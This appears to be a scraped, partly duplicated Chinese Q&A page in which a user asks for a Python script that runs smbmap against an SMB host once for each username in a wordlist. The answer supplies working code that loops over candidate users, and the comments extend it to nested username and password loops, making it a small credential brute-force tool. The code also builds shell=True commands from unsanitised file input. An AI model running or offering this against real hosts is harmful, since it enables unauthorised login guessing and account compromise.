Python 通过读取文本文件的内容来执行命令

Python 通过读取文本文件的内容来执行命令,python,linux,list,module,execute,Python,Linux,List,Module,Execute,我想使用python自动化Linux命令。 命令是: smbmap -u robert -p p@ssw0rd -H 192.168.2.10 我有一个单词列表,每行都包含可能的用户名。如何编写通过读取文件来执行命令的代码?例如,我有一个名为“users.txt”的列表,其中包含: robert admin administrator guest 并应尝试以下操作,直到找到正确的用户和密码: smbmap -u robert -p p@ssw0rd -H 192.168.2.10 smbma

我想使用python自动化Linux命令。 命令是:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10
我有一个单词列表,每行都包含可能的用户名。如何编写通过读取文件来执行命令的代码?例如,我有一个名为“users.txt”的列表,其中包含:

robert
admin
administrator
guest
并应尝试以下操作,直到找到正确的用户和密码:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10
smbmap -u admin -p p@ssw0rd -H 192.168.2.10
smbmap -u administrator -p p@ssw0rd -H 192.168.2.10
smbmap -u guest -p p@ssw0rd -H 192.168.2.10
谢谢。

这应该可以:

import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))

# results from the commands
results=[]

# execute the commands
for cmd in cmds:
    results.append(subprocess.call(cmd, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:
        print(cmds[i])
编辑:将其作为您的文件路径,更改为.format(),检查结果==0(适用于ssh尝试密码)

编辑:忘记添加shell=True

这应该可以:

import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))

# results from the commands
results=[]

# execute the commands
for cmd in cmds:
    results.append(subprocess.call(cmd, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:
        print(cmds[i])
编辑:将其作为您的文件路径,更改为.format(),检查结果==0(适用于ssh尝试密码)


编辑:忘记添加shell=True

您尝试了什么,在哪里卡住了?您可以使用Python-Subprocess:@Jai I use os module执行该操作,问题是我不知道如何将文件添加到命令中。您尝试了什么,在哪里卡住了?您可以使用Python-Subprocess:@Jai I use os module执行该操作,问题是我不知道如何将文件添加到命令中。python的哪个版本?(python-V)$python2 fuzzer.py文件“fuzzer.py”,第10行cmds.append(f'smbmap-u{user}-p)p@ssw0rd-H 192.168.2.10“^SyntaxError:无效的syntaxOn python3:回溯(最近一次调用):results.append(subprocess.call(cmd))文件第17行的文件“fuzzer.py”“/usr/lib/python3.7/subprocess.py”,第323行,与Popen(*popenargs,**kwargs)一起调用,作为p:File“/usr/lib/python3.7/subprocess.py”,第775行,在init restore\u信号中,启动新的\u会话)文件“/usr/lib/python3.7/subprocess.py”,第1522行,在\u execute\u child引发子进程异常\u类型(errno\u msg,err\u,err\u,err\u文件名)FileNotFoundError:[Errno 2]没有这样的文件或目录:'smbmap-u administrator-pp@ssw0rd-H 10.10.10.172':subprocess.call()中的shell=True,我的错误。刚刚修复了它。我将在生成命令时读取密码并嵌套另一个for循环。对于userlist中的用户:对于passwordlist中的密码:cmds.append('smbmap-u{}-p{}…格式化(用户,密码)python的哪个版本?(python-V)$python2 fuzzer.py文件“fuzzer.py”,第10行cmds.append(f'smbmap-u{user}-p)p@ssw0rd-H 192.168.2.10“^SyntaxError:无效的syntaxOn python3:回溯(最近一次调用最后一次):文件“fuzzer.py”,第17行,在results.append(subprocess.call(cmd))File“/usr/lib/python3.7/subprocess.py”中,第323行,用Popen(*popenargs,**kwargs)作为p:File“/usr/lib/python3.7/subprocess.py”调用,第775行,在init restore_信号中,启动新_会话)文件“/usr/lib/python3.7/subprocess.py”,第1522行,在\u execute\u child raise child\u exception\u type(errno\u num,err\u msg,err\u filename)中,FileNotFoundError:[errno 2]没有这样的文件或目录:'smbmap-u administrator-pp@ssw0rd-H10.10.10.172”:在subprocess.call()中,这是shell=True,我的错。我会读入密码并在构建命令时嵌套另一个for循环。对于userlist中的用户:对于passwordlist中的密码:cmds.append('smbmap-u{}-p{}…格式(用户,密码)